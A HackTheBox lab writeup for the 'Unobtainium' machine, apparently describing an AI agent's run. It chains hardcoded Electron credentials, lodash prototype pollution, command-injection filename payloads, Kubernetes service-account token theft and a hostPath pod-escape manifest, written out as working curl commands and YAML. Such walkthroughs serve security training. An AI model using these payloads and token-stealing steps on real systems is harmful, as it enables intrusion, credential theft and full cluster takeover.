HTB: Unobtainium Writeup

Unobtainium - HackTheBox Writeup

Machine Information

AttributeDetails
NameUnobtainium
OSLinux
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.10.11.X
Authorfelamos

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Unobtainium is a hard Linux machine that blends modern application security with Kubernetes cluster exploitation. The machine hosts an Electron-based chat application that can be downloaded and reverse-engineered to reveal hardcoded credentials and a vulnerable Node.js backend API. Initial foothold is achieved through a combination of prototype pollution in lodash’s _.merge() function and command injection in the deprecated google-cloudstorage-commands npm package. Once inside the Kubernetes pod environment, privilege escalation involves understanding Kubernetes RBAC (Role-Based Access Control), pivoting between namespaces, stealing service account tokens with escalating privileges, and finally creating a malicious pod with a hostPath volume mount to escape the container and access the host filesystem.

TL;DR: Download Electron app → Extract app.asar → Find creds felamos:Winter2021 → Exploit prototype pollution to set canUpload → Trigger command injection in /upload endpoint → Gain shell in webapp pod → Steal default:default SA token → Pivot to dev namespace pod → Steal dev:default SA token → List kube-system secrets → Extract c-admin-token (cluster-admin) → Create privileged pod with hostPath: / mount → Read root flag from host filesystem.


Reconnaissance

Port Scanning

Terminal window
# Full port scan to identify all open services
nmap -p- --min-rate=1000 -T4 10.10.11.X
# Detailed service enumeration on discovered ports
nmap -p22,80,8443,31337 -sC -sV 10.10.11.X

Results:

  • Port 22 – SSH (OpenSSH)
  • Port 80 – Apache HTTP server hosting download page for Electron application
  • Port 8443 – Kubernetes API server (k3s) running over HTTPS
  • Port 31337 – Node.js API backend (returns empty JSON array [])

Service Enumeration

Port 80 - Web Application

Browsing to http://10.10.11.X reveals a download page for “Unobtainium Chat Application” with packages available for multiple Linux distributions (.deb, .rpm, .snap).

Terminal window
# Download the Debian package for analysis
wget http://10.10.11.X/downloads/unobtainium_debian.zip
unzip unobtainium_debian.zip

The Electron application is packaged as a Debian installer, suggesting the attack surface involves client-side application reverse engineering.

Port 31337 - Node.js API

Terminal window
# Initial probe returns empty array
curl http://10.10.11.X:31337/
# Output: []

This port serves a JSON API but requires further enumeration through the Electron app to understand available endpoints.

Port 8443 - Kubernetes API

Terminal window
# HTTPS probe reveals Kubernetes API
curl -k https://10.10.11.X:8443/
# Output: Unauthorized - requires authentication token

The presence of a Kubernetes API indicates the backend runs in a containerized cluster environment, which will be relevant for privilege escalation.

Vulnerability Assessment

  1. Hardcoded credentials in Electron application
  2. Prototype pollution vulnerability in Node.js API (lodash _.merge)
  3. Command injection in google-cloudstorage-commands npm package
  4. Kubernetes RBAC misconfiguration allowing lateral movement and privilege escalation
  5. Service account token disclosure enabling cluster-wide access

Initial Foothold

Electron Application Reverse Engineering

Terminal window
# Extract the Debian package (ar archive format)
ar x unobtainium_1.0.0_amd64.deb
# Extract the data archive
tar -xvf data.tar.xz
# Navigate to Electron resources
cd opt/unobtainium/resources/
# Install asar tool for extracting Electron app bundles
npm install -g asar
# Extract the application source code
asar extract app.asar output/
cd output/

The package.json reveals the main entry point is index.js, and the application communicates with http://unobtainium.htb:31337.

Terminal window
# Add hostname to /etc/hosts
echo "10.10.11.X unobtainium.htb" >> /etc/hosts

Analyzing JavaScript Source Code

Terminal window
# Review the Todo feature implementation
cat src/js/todo.js

The source reveals hardcoded credentials:

// Credentials found in todo.js
{
"auth": {
"name": "felamos",
"password": "Winter2021"
},
"filename": "todo.txt"
}

Key Discovery: The credentials felamos:Winter2021 are embedded in the client application and used for API authentication.

Retrieving Backend Source Code

Using the /todo endpoint to read arbitrary files from the API server’s working directory:

Terminal window
# Request to read index.js from the API server
curl http://unobtainium.htb:31337/todo \
-H 'Content-Type: application/json' \
-d '{"auth": {"name": "felamos", "password": "Winter2021"}, "filename": "index.js"}'

The response contains the full Node.js backend source code, revealing:

  1. User array with two accounts:

    • felamos:Winter2021 (standard user)
    • admin with random password and canDelete, canUpload permissions
  2. Lodash _.merge() usage in PUT / endpoint:

    _.merge(message, req.body.message, {...});

    This is vulnerable to prototype pollution via __proto__ injection.

  3. Upload endpoint at POST /upload:

    app.post('/upload', (req, res) => {
    const user = findUser(req.body.auth || {});
    if (!user || !user.canUpload) {
    res.status(403).send({ok: false, error: 'Access denied'});
    return;
    }
    filename = req.body.filename;
    root.upload("./", filename, true);
    res.send({ok: true, Uploaded_File: filename});
    });
  4. Deprecated npm package google-cloudstorage-commands with command injection vulnerability.

Prototype Pollution Exploitation

The _.merge() function in lodash can be exploited to pollute the prototype chain and add properties to objects. By injecting __proto__.canUpload = true, we can bypass the authorization check.

Terminal window
# Pollute the prototype to add canUpload permission to our user
curl --request PUT http://unobtainium.htb:31337 \
-H 'Content-Type: application/json' \
-d '{
"auth": {"name": "felamos", "password": "Winter2021"},
"message": {
"text": "test",
"__proto__": {"canUpload": true}
}
}'

Why this works: The _.merge() function recursively merges objects, and when it encounters __proto__, it modifies the Object.prototype, effectively adding canUpload: true to all objects, including the felamos user object during subsequent requests.

Command Injection via google-cloudstorage-commands

The deprecated google-cloudstorage-commands package uses exec() without proper input sanitization:

// Vulnerable code in google-cloudstorage-commands
exec(`gsutil cp ${filename} gs://bucket/`, callback);

By controlling the filename parameter, we can inject shell commands using & or ; operators.

However, the agent discovered that reverse shell egress was blocked by network filtering. The solution was to use blind command injection to write output to files within the working directory, then read them back via the /todo endpoint.

Terminal window
# Example: Write command output to a file (blind RCE pattern)
curl --request POST http://unobtainium.htb:31337/upload \
-H 'Content-Type: application/json' \
-d '{
"auth": {"name": "felamos", "password": "Winter2021"},
"filename": "& whoami > output.txt"
}'
# Read the output file
curl http://unobtainium.htb:31337/todo \
-H 'Content-Type: application/json' \
-d '{
"auth": {"name": "felamos", "password": "Winter2021"},
"filename": "output.txt"
}'

Why absolute paths are blocked: The /todo endpoint includes validation that prevents reading files outside the current directory (e.g., /etc/passwd returns empty), but relative filenames work.

Accessing User Flag

The agent performed blind enumeration and discovered that /root was accessible from the container (mounted as a hostPath volume from the Kubernetes host):

Terminal window
# Inject command to list /root directory
curl --request POST http://unobtainium.htb:31337/upload \
-H 'Content-Type: application/json' \
-d '{
"auth": {"name": "felamos", "password": "Winter2021"},
"filename": "& ls /root > root_listing.txt"
}'
# Read the listing
curl http://unobtainium.htb:31337/todo \
-H 'Content-Type: application/json' \
-d '{
"auth": {"name": "felamos", "password": "Winter2021"},
"filename": "root_listing.txt"
}'
# Extract user.txt
curl --request POST http://unobtainium.htb:31337/upload \
-H 'Content-Type: application/json' \
-d '{
"auth": {"name": "felamos", "password": "Winter2021"},
"filename": "& cat /root/user.txt > user_flag.txt"
}'
# Read user flag
curl http://unobtainium.htb:31337/todo \
-H 'Content-Type: application/json' \
-d '{
"auth": {"name": "felamos", "password": "Winter2021"},
"filename": "user_flag.txt"
}'

User flag obtained: <redacted>


Privilege Escalation

Kubernetes Environment Enumeration

From the compromised webapp pod, the agent enumerated the Kubernetes environment:

/run/secrets/kubernetes.io/serviceaccount/token
# Service account token location (standard Kubernetes mount)
# /run/secrets/kubernetes.io/serviceaccount/ca.crt
# /run/secrets/kubernetes.io/serviceaccount/namespace
# Read namespace
cat /run/secrets/kubernetes.io/serviceaccount/namespace
# Output: default
# Read service account token
cat /run/secrets/kubernetes.io/serviceaccount/token

Every pod in Kubernetes has a service account token mounted automatically, which can be used to authenticate to the Kubernetes API server.

Testing API Access with default:default Token

Terminal window
# Export token for convenience
export TOKEN=$(cat /run/secrets/kubernetes.io/serviceaccount/token)
# Query Kubernetes API to list namespaces
curl -k -H "Authorization: Bearer $TOKEN" \
https://10.10.11.X:8443/api/v1/namespaces

The default:default service account has limited permissions but can list namespaces, revealing a dev namespace in addition to the standard default, kube-system, kube-public, and kube-node-lease.

Pivoting to dev Namespace

The agent discovered that the dev namespace also runs a similar Node.js application:

Terminal window
# Query Kubernetes API to list pods in dev namespace
curl -k -H "Authorization: Bearer $TOKEN" \
https://10.10.11.X:8443/api/v1/namespaces/dev/pods
# From the response, extract pod IP (e.g., 10.42.0.65)

Kubernetes pod networking: Pods can communicate directly via their cluster IPs on the pod network (CNI).

Exploiting dev Pod via Internal IP

Terminal window
# From within the webapp pod, exploit the dev pod's API on its internal IP
# Step 1: Prototype pollution
curl --request PUT http://10.42.0.65:3000 \
-H 'Content-Type: application/json' \
-d '{
"auth": {"name": "felamos", "password": "Winter2021"},
"message": {
"text": "test",
"__proto__": {"canUpload": true}
}
}'
# Step 2: Command injection to exfiltrate the dev:default service account token
curl --request POST http://10.42.0.65:3000/upload \
-H 'Content-Type: application/json' \
-d '{
"auth": {"name": "felamos", "password": "Winter2021"},
"filename": "& cat /run/secrets/kubernetes.io/serviceaccount/token > dev_token.txt"
}'
# Step 3: Read the dev token via /todo endpoint
curl http://10.42.0.65:3000/todo \
-H 'Content-Type: application/json' \
-d '{
"auth": {"name": "felamos", "password": "Winter2021"},
"filename": "dev_token.txt"
}'

dev:default token obtained: This service account has elevated privileges in the dev namespace and crucially has permissions in kube-system.

Enumerating kube-system Secrets

Using the dev:default token:

Terminal window
# Export the new token
export DEV_TOKEN="<dev-token-value>"
# List secrets in kube-system namespace
curl -k -H "Authorization: Bearer $DEV_TOKEN" \
https://10.10.11.X:8443/api/v1/namespaces/kube-system/secrets

The response includes multiple secrets, notably c-admin-token-b47f7, which is the service account token for a cluster administrator.

Extracting Cluster Admin Token

Terminal window
# Get specific secret details
curl -k -H "Authorization: Bearer $DEV_TOKEN" \
https://10.10.11.X:8443/api/v1/namespaces/kube-system/secrets/c-admin-token-b47f7
# The response contains base64-encoded token and ca.crt
# Decode token:
echo "<base64-token>" | base64 -d > cluster-admin-token
# Decode ca.crt:
echo "<base64-ca-crt>" | base64 -d > ca.crt

Verifying Cluster Admin Permissions

Terminal window
# Test permissions with cluster-admin token
export ADMIN_TOKEN=$(cat cluster-admin-token)
# Check if we can create pods in kube-system
curl -k -H "Authorization: Bearer $ADMIN_TOKEN" \
https://10.10.11.X:8443/api/v1/namespaces/kube-system/pods

The c-admin service account has full cluster-admin privileges (*.* [*] in RBAC terms), meaning it can perform any operation on any resource in any namespace.

Pod Escape via Privileged Container

To escape the container and access the host filesystem, the agent created a malicious pod with:

  1. hostPath volume mount – Mounts the host’s root filesystem (/) into the container
  2. Existing image – Uses localhost:5000/dev-alpine (available in the cluster’s local registry)
  3. Command to read root flag – Outputs /host/root/root.txt to stdout
malicious-pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: pwn-pod
namespace: kube-system
spec:
containers:
- name: pwn
image: localhost:5000/dev-alpine
imagePullPolicy: Never
command: ["/bin/sh"]
args: ["-c", "cat /host/root/root.txt"]
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /
hostNetwork: true
automountServiceAccountToken: true

Why this works:

  • hostPath volume: Kubernetes allows mounting the host filesystem into a pod. When path: / is mounted, the entire host filesystem becomes accessible inside the container at /host.
  • localhost:5000/dev-alpine: The cluster runs a local Docker registry at localhost:5000. Using an image that already exists in the cluster bypasses the need for external image pulls (which would fail due to network restrictions).
  • Command execution: The pod runs a command on startup that reads the root flag and outputs it to stdout.
Terminal window
# Create the pod using kubectl or direct API call
curl -k -H "Authorization: Bearer $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
-X POST \
https://10.10.11.X:8443/api/v1/namespaces/kube-system/pods \
-d @malicious-pod.yaml
# Wait for pod to run and retrieve logs
curl -k -H "Authorization: Bearer $ADMIN_TOKEN" \
https://10.10.11.X:8443/api/v1/namespaces/kube-system/pods/pwn-pod/log

The pod logs contain the root flag.

Root flag obtained: <redacted>


Attack Chain Summary

Port 80 (Electron App) → Extract app.asar → Reverse Engineer JS
Hardcoded Creds (felamos:Winter2021) → API Authentication
Prototype Pollution (__proto__.canUpload) → Bypass /upload Authorization
Command Injection (google-cloudstorage-commands) → RCE in webapp Pod
Blind RCE + /todo Endpoint → Read /root/user.txt (hostPath mount)
Steal default:default Token → List Namespaces → Discover dev Namespace
Exploit dev Pod (10.42.0.65:3000) → Steal dev:default Token
List kube-system Secrets → Extract c-admin-token-b47f7 (Cluster Admin)
Create Privileged Pod (hostPath: /) → Read /host/root/root.txt
Root Flag

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
wget / curlDownloading files and API interaction
arExtracting Debian package archives
tarExtracting compressed archives
asar (npm)Extracting Electron application bundles
jqJSON parsing and formatting
base64Encoding/decoding credentials and tokens
kubectlKubernetes cluster interaction (optional)

Key Learnings

Techniques Practiced

  • Electron application reverse engineering – Extracting and analyzing .asar archives to discover hardcoded credentials and API endpoints
  • Prototype pollution exploitation – Leveraging JavaScript prototype chain manipulation to bypass authorization checks
  • Command injection in deprecated packages – Exploiting unsanitized input in third-party npm modules
  • Kubernetes RBAC enumeration – Understanding service account permissions and privilege boundaries
  • Lateral movement in Kubernetes – Pivoting between pods and namespaces using internal networking
  • Service account token theft – Extracting and using JWT tokens for API authentication
  • Container escape via hostPath – Mounting the host filesystem to break out of container isolation
  • Blind command execution – Executing commands without direct output and exfiltrating results via file writes

Lessons Learned

  1. Client-side applications should never contain secrets – Electron apps bundle JavaScript in easily extractable formats. Hardcoded credentials in app.asar are effectively public.

  2. Prototype pollution is a critical vulnerability in Node.js – When using functions like _.merge(), Object.assign(), or manual property copying, always validate that __proto__, constructor, and prototype keys are not user-controlled.

  3. Deprecated npm packages are dangerous – The google-cloudstorage-commands package was deprecated in 2018 and contains command injection vulnerabilities. Always audit dependencies and avoid unmaintained packages.

  4. Kubernetes service accounts follow the principle of least privilege – The default:default account had minimal permissions, but the dev:default account had excessive access to kube-system secrets, violating security best practices.

  5. hostPath volumes are extremely dangerous – Mounting the host filesystem into a container effectively breaks all isolation. This should only be used with extreme caution and never in multi-tenant environments.

  6. Kubernetes RBAC misconfigurations enable privilege escalation – Allowing non-admin service accounts to read secrets in kube-system or create pods in privileged namespaces can lead to full cluster compromise.

  7. Network segmentation matters – The inability to establish reverse shells forced the use of blind command execution, demonstrating that egress filtering can slow (but not stop) determined attackers.

  8. Token-based authentication requires secure storage – Service account tokens are powerful credentials. Their predictable mount locations (/run/secrets/kubernetes.io/serviceaccount/) make them easy targets once a container is compromised.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

This writeup drew explanatory detail from the official HackTheBox writeup for Unobtainium (Document No. D21.101.136) by machine author felamos, particularly for understanding the prototype pollution mechanism, the specific lodash vulnerability, and Kubernetes RBAC escalation patterns.